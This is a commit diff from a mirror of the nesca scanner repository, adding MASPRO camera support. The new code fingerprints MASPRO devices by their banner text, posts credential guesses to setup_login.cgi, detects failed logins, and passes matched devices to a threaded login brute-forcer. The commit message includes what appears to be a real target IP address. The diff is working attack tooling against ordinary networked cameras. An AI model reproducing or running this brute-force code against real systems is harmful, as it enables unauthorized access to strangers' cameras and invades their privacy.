mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-25 17:11:45 +00:00
Added MASPRO camera support. (222.12.209.75:8080)
This commit is contained in:
parent
a9152d56c8
commit
871d22c5ba
@ -155,9 +155,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
||||
|
||||
if(postData != NULL) {
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
|
||||
};
|
||||
if(postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
|
||||
|
||||
if(customHeaders != NULL) {
|
||||
|
||||
|
52
IPCAuth.cpp
52
IPCAuth.cpp
@ -53,19 +53,22 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
{
|
||||
negVector.push_back("var check=\"0\"");
|
||||
negVector.push_back("var authLevel =\"0\";");
|
||||
}
|
||||
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
|
||||
{
|
||||
negVector.push_back("AAA()");
|
||||
negVector.push_back("РРјСЏ или пароль неверные!");
|
||||
negVector.push_back("Возврат");
|
||||
negVector.push_back("HTTP/1.0 302 Found");
|
||||
negVector.push_back("is incorrect");
|
||||
}
|
||||
}
|
||||
else if (strcmp(SPEC, "IEORFOREFOX") == 0)
|
||||
{
|
||||
negVector.push_back("AAA()");
|
||||
negVector.push_back("РРјСЏ или пароль неверные!");
|
||||
negVector.push_back("Возврат");
|
||||
negVector.push_back("HTTP/1.0 302 Found");
|
||||
negVector.push_back("is incorrect");
|
||||
}
|
||||
else if (strcmp(SPEC, "MASPRO") == 0)
|
||||
{
|
||||
negVector.push_back("action=\"setup_login.cgi\"");
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
||||
|
||||
return lps;
|
||||
};
|
||||
|
||||
@ -128,20 +131,23 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
doPost = true;
|
||||
sprintf(request, "%s:%d/rpc/login", ip, port);
|
||||
sprintf(postData, "user=%s&password=%s", login, pass);
|
||||
}
|
||||
else if(strcmp(SPEC, "DVS") == 0)
|
||||
{
|
||||
doPost = true;
|
||||
sprintf(request, "%s:%d/login", ip, port);
|
||||
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
|
||||
}
|
||||
}
|
||||
else if (strcmp(SPEC, "DVS") == 0)
|
||||
{
|
||||
doPost = true;
|
||||
sprintf(request, "%s:%d/login", ip, port);
|
||||
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
|
||||
}
|
||||
else if (strcmp(SPEC, "MASPRO") == 0)
|
||||
{
|
||||
doPost = true;
|
||||
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
|
||||
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
|
||||
}
|
||||
|
||||
std::string buffer;
|
||||
if(doPost) {
|
||||
res = Connector::nConnect(request, port, &buffer, postData);
|
||||
} else {
|
||||
res = Connector::nConnect(request, port, &buffer);
|
||||
}
|
||||
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
|
||||
else res = Connector::nConnect(request, port, &buffer);
|
||||
|
||||
if (res == -2) return lps;
|
||||
else if (res != -1) {
|
||||
@ -177,12 +183,10 @@ lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
|
||||
if(gMaxBrutingThreads > 0) {
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
|
||||
//BruteUtils::BConInc();
|
||||
++baCount;
|
||||
++BrutingThrds;
|
||||
lopaStr lps = IPCBrute(ip, port, SPEC);
|
||||
--BrutingThrds;
|
||||
//BruteUtils::BConDec();
|
||||
|
||||
return lps;
|
||||
} else {
|
||||
|
12
finder.cpp
12
finder.cpp
@ -376,10 +376,11 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
|
||||
&& Utils::ustrstr(buffcpy, "ieorforefox") != -1
|
||||
&& Utils::ustrstr(buffcpy, "sofari") != -1
|
||||
) return 49; //IEORFOREFOX
|
||||
if (Utils::ustrstr(buffcpy, "seyeon") != -1
|
||||
if (Utils::ustrstr(buffcpy, "seyeon") != -1
|
||||
&& (Utils::ustrstr(buffcpy, "/app/multi/single.asp") != -1
|
||||
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
|
||||
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
|
||||
) return 50; //Network Video System
|
||||
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO
|
||||
|
||||
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
|
||||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
|
||||
@ -1193,9 +1194,6 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
|
||||
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
|
||||
{
|
||||
lopaStr lps = {"UNKNOWN", "", ""};
|
||||
ZeroMemory(lps.login, sizeof(lps.login));
|
||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||
ZeroMemory(lps.other, sizeof(lps.other));
|
||||
|
||||
IPC ipc;
|
||||
lps = ipc.IPCLobby(ip, port, SPEC);
|
||||
@ -2540,6 +2538,10 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
||||
{
|
||||
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
|
||||
}
|
||||
else if (flag == 51) //MASPRO
|
||||
{
|
||||
_specWEBIPCAMBrute(ip, port, "[MASPRO] WEB IP Camera", flag, "WEB Authorization", cp, size, "MASPRO");
|
||||
}
|
||||
else if (flag == 20) //AXIS Camera
|
||||
{
|
||||
_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size);
|
||||
|
Loading…
Reference in New Issue
Block a user